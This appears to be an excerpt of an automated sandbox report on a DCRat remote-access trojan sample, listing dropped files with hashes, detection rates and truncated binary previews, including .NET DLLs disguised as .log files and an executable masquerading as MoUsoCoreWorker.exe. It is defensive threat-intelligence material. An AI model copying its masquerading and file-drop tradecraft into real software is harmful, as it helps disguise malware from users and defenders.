SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jsvAFsni.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28160
Entropy (8bit):	5.570953308352568
Encrypted:	false
SSDEEP:	384:BBOVNMHHPrq2YQGpX0dx+D4uuMig590gQDhJvoKfqeXOWnKNey/B/HM/g/6Y70FB:LOCPAEdx+vuNgD0gQ/gCYoTyn+
MD5:	A4F19ADB89F8D88DBDF103878CF31608
SHA1:	46267F43F0188DFD3248C18F07A46448D909BF9B
SHA-256:	D0613773A711634434DB30F2E35C6892FF54EBEADF49CD254377CAECB204EAA4
SHA-512:	23AA30D1CD92C4C69BA23C9D04CEBF4863A9EA20699194F9688B1051CE5A0FAD808BC27EE067A8AA86562F35C352824A53F7FB0A93F4A99470A1C97B31AF8C12
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....s.e...........!.....f..........^.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...dd... ...f.................. ..`.rsrc................h..............@..@.reloc...............l..............@..B................@.......H........X..4+...........W..(..................................................................................................................................................................._..\.....+....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lCRBFKSi.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lFJjObwF.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\luhiabrd.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nnwRMYdb.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\owAZVXxy.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qZchTloU.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\rhfqclHr.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\rqDqMXbo.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ssViDqmS.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uodzyDCn.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uuIRZZqN.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\wacGgDMF.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wiMZKnmL.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wlEHTDRh.log

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zZCPRjnE.log

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\Downloaded Program Files\1f93f77a7f4778

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with very long lines (413), with no line terminators
Category:	dropped
Size (bytes):	413
Entropy (8bit):	5.873599574993593
Encrypted:	false
SSDEEP:	12:U/kaikIvFQUljN7z8O7+9oHpnA4ofFs2PH:UAkIvp9F8OS8pA4ofFsE
MD5:	3972BB51F81A8A2C02A0B3B193002460
SHA1:	D2D0295D139AE99ABCB83959DEDEA445506F5B9B
SHA-256:	019E889707D358F8C4C8C3689D3A33F0158FC08D0B20990004568092C80F1A03
SHA-512:	7901430B92346E406805763545BF60F31AB30594CF4B8D1467A69E051F0EB81944C939D3C63C5CB80FBABC4E12377ED2722C69CF66DBFFE9441FEEF101764E2D
Malicious:	false
Preview:	EtOGhKtCmhUAPuB4GSwebg3sG3XA2ly5Q5ATP0en9hABlrMAJYyacw7izf9nwsKBsYtUtroQyIe3f1HZrX1dxYdd7ceu001RX9TM81QbthmTSDC7Yk6Z1rNU4PWQN4a7RNggi4bzGatQwJL3agVP4baqv9SseANzHoCEhfZeJHTa77huDd0rjLCzx0ujmsUGN4IHGGW4G1FxI9sybhoBKfP6mNRrvz1bwMNDyan7H5krFPqxH6IFDT5roMf3zoJR9oB5wp9A3r4O5i0WgdjyrwXdRfYl5uHcvTraOvBc6HLVYqvGVIWWEUjNQhoQQYFJkbdl0aIucH2jkCEktSPwXvXbueJqHuLiCCv6NKP5Am36c9mOcEh7ITvzEC1VQbns5UhiRIWjDUvv1a8u25NCMOZtR52LS

C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2669568
Entropy (8bit):	4.630553832081319
Encrypted:	false
SSDEEP:	24576:jKzVgGWEP/Cw7sULqPyZwSxIshFQb8mu0c3jlCjH5xdL9UvGigW261+:ezVhP5lwSxXAlpW
MD5:	B8298EE526BB093E3C96686D26D1361F
SHA1:	583FF162C74E864D77323B76355F175AAB170E1F
SHA-256:	08D8919249B3F442106283B5A413EAFF6B6B3D9CA76EC7C3A88101B54BAB0FE4
SHA-512:	34211F5274FB5791B25FD16B352C5B56305E1D067DF8F3974FF0D2D0F03F976E083451D725AFBB07A9533886953B9C58C6B9A41CCFA884B1E4604756C03FBF5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..........".......(...........(.. ....(...@.. ....................... ).......)...@.................................\|.(.O.....(.p.....................)...................................................... ............... ..H............text....(.. ....(................. ..`.rsrc...p.....(.......(.............@..@.reloc........).......(.............@..B..................(.....H.......T...(.$.........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.7111552889581025
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXORMp9XnfHvpqGKvj:Vx993DEUUpRq
MD5:	ACD3E6B0B8D5CF1F9528160FE2470960
SHA1:	2E6052AB4B2DB0E0CFA7F82C3EBBEB16B19A4076
SHA-256:	CC9A5D328460C123C5DB1E0B01B569D6CD2A4B626A096C313B5A4445A718125E
SHA-512:	DE0C238FA86985C3EA0DFBBE178872FF3C68BB6B3AA283F67B6EA37367038ECE57CF8762F331E412757445944A7814CF7A6DE0D22076145230C7BB5E23E9FD49
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 20/04/2024 02:27:23..02:27:23, error: 0x80072746.02:27:28, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.630553832081319
